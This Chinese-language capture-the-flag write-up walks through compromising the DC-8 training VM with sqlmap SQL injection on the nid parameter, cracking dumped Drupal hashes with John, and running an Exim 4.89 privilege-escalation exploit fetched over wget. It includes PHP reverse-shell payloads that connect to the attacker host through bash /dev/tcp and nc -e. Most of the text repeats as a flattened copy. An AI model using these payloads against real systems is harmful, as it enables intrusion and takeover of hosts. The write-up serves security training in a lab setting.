Vulhub 靶场训练,DC-8解析
字数 1277 2025-08-18 11:36:48

Vulhub 靶场训练:DC-8 渗透测试解析

一、环境搭建

网络配置

  • Kali Linux IP: 192.168.200.14
  • DC-8 靶机 IP: 192.168.200.13 (包含第一个flag)
  • 网络模式: NAT或桥接模式

兼容性问题解决

  • 若VMware Workstation出现开机错误,可尝试降低DC-8的兼容版本
  • 例如:从17.x版本改为16.x版本

二、信息收集阶段

1. 扫描同网段存活主机

方法一:使用arp-scan

arp-scan -l

方法二:使用netdiscover

netdiscover -r 192.168.200.0/24

2. 开放端口探测

nmap -sV -p- 192.168.200.13

发现开放端口

  • 22端口:SSH服务
  • 80端口:HTTP服务

3. 目录扫描

  • 检查robots.txt文件
  • 注意:大多数禁止爬取的文件可能无法访问

三、漏洞探测

Web应用分析

  • 使用Drupal CMS,版本为7(不同于DC-8的Drupal 8)
  • 发现三个不同URL:
    http://192.168.200.13/?nid=1
    http://192.168.200.13/?nid=2
    http://192.168.200.13/?nid=3
    
  • 可能存在文件包含和SQL注入漏洞

SQL注入利用(使用SQLMap)

  1. 扫描数据库
sqlmap -u "http://192.168.200.13/?nid=1" --dbs --batch
  1. 查询数据表名
sqlmap -u "http://192.168.200.13/?nid=1" -D d7db --tables --batch
  1. 查询字段名
sqlmap -u "http://192.168.200.13/?nid=1" -D d7db -T users --columns --batch
  1. 查询字段值
sqlmap -u "http://192.168.200.13/?nid=1" -D d7db -T users -C name,pass --dump

获取的凭证

  • 账号: admin
    密码: $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
  • 账号: john
    密码: $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

四、漏洞利用

1. 密码破解

  • Drupal使用特殊加密的hash密文
  • 使用John the Ripper进行爆破:
vim password.txt  # 将hash保存到文件
john password.txt
  • 破解结果:密码为"turtle"

2. Web后台登录

  • 使用john/turtle凭证成功登录后台
  • 尝试上传一句话木马失败

3. PHP反弹shell

尝试多种PHP反弹shell方法:

方法一

<?php system("bash -i > /dev/tcp/192.168.200.14/8899 0>&1");?>

方法二

<?php system("bash -c 'sh -i &>/dev/tcp/192.168.200.14/8899 0>&1'");?>

方法三

<?php exec("nc -e /bin/bash 192.168.200.14 8899");?>

执行步骤

  1. 在表单提交处勾选"Confirmation page"
  2. 填写任意联系表单
  3. 点击发送触发PHP代码
  4. 成功获取反弹shell

4. 权限提升

步骤一:查找SUID权限文件

find / -perm -4000 -print 2>/dev/null

发现Exim版本为4.89

步骤二:搜索并利用EXP

  1. 在Kali中查找相关EXP:
searchsploit exim 4.89
  1. 复制EXP到桌面:
cp /usr/share/exploitdb/exploits/linux/local/46996.sh shell.sh
  1. 启动HTTP服务:
python -m http.server 8899

步骤三:在靶机下载并执行EXP

  1. 下载EXP:
wget http://192.168.200.14:8899/shell.sh
  1. 赋予执行权限:
chmod 777 shell.sh
  1. 执行EXP:
./shell.sh
  1. 若第一次执行失败,尝试使用脚本提供的其他参数

步骤四:验证提权

whoami

成功显示root权限

5. 获取最终flag

进入root目录查看flag文件

关键点总结

  1. SQL注入:通过nid参数发现注入点,使用SQLMap自动化工具获取数据库信息
  2. 密码破解:识别Drupal特有的hash格式,使用John破解
  3. Web后台利用:通过合法凭证进入后台,寻找代码执行点
  4. 反弹shell:多种PHP代码执行方式,确保可靠性
  5. 权限提升:通过查找SUID文件和已知漏洞的Exim服务完成提权

防御建议

  1. 及时更新CMS系统和插件
  2. 对用户输入进行严格过滤
  3. 使用强密码策略
  4. 限制SUID权限文件
  5. 保持服务软件最新版本
Vulhub 靶场训练:DC-8 渗透测试解析 一、环境搭建 网络配置 Kali Linux IP : 192.168.200.14 DC-8 靶机 IP : 192.168.200.13 (包含第一个flag) 网络模式 : NAT或桥接模式 兼容性问题解决 若VMware Workstation出现开机错误,可尝试降低DC-8的兼容版本 例如:从17.x版本改为16.x版本 二、信息收集阶段 1. 扫描同网段存活主机 方法一 :使用arp-scan 方法二 :使用netdiscover 2. 开放端口探测 发现开放端口 : 22端口:SSH服务 80端口:HTTP服务 3. 目录扫描 检查robots.txt文件 注意:大多数禁止爬取的文件可能无法访问 三、漏洞探测 Web应用分析 使用Drupal CMS,版本为7(不同于DC-8的Drupal 8) 发现三个不同URL: 可能存在文件包含和SQL注入漏洞 SQL注入利用(使用SQLMap) 扫描数据库 : 查询数据表名 : 查询字段名 : 查询字段值 : 获取的凭证 : 账号: admin 密码: $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z 账号: john 密码: $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF 四、漏洞利用 1. 密码破解 Drupal使用特殊加密的hash密文 使用John the Ripper进行爆破: 破解结果:密码为"turtle" 2. Web后台登录 使用john/turtle凭证成功登录后台 尝试上传一句话木马失败 3. PHP反弹shell 尝试多种PHP反弹shell方法: 方法一 : 方法二 : 方法三 : 执行步骤 : 在表单提交处勾选"Confirmation page" 填写任意联系表单 点击发送触发PHP代码 成功获取反弹shell 4. 权限提升 步骤一 :查找SUID权限文件 发现Exim版本为4.89 步骤二 :搜索并利用EXP 在Kali中查找相关EXP: 复制EXP到桌面: 启动HTTP服务: 步骤三 :在靶机下载并执行EXP 下载EXP: 赋予执行权限: 执行EXP: 若第一次执行失败,尝试使用脚本提供的其他参数 步骤四 :验证提权 成功显示root权限 5. 获取最终flag 进入root目录查看flag文件 关键点总结 SQL注入 :通过nid参数发现注入点,使用SQLMap自动化工具获取数据库信息 密码破解 :识别Drupal特有的hash格式,使用John破解 Web后台利用 :通过合法凭证进入后台,寻找代码执行点 反弹shell :多种PHP代码执行方式,确保可靠性 权限提升 :通过查找SUID文件和已知漏洞的Exim服务完成提权 防御建议 及时更新CMS系统和插件 对用户输入进行严格过滤 使用强密码策略 限制SUID权限文件 保持服务软件最新版本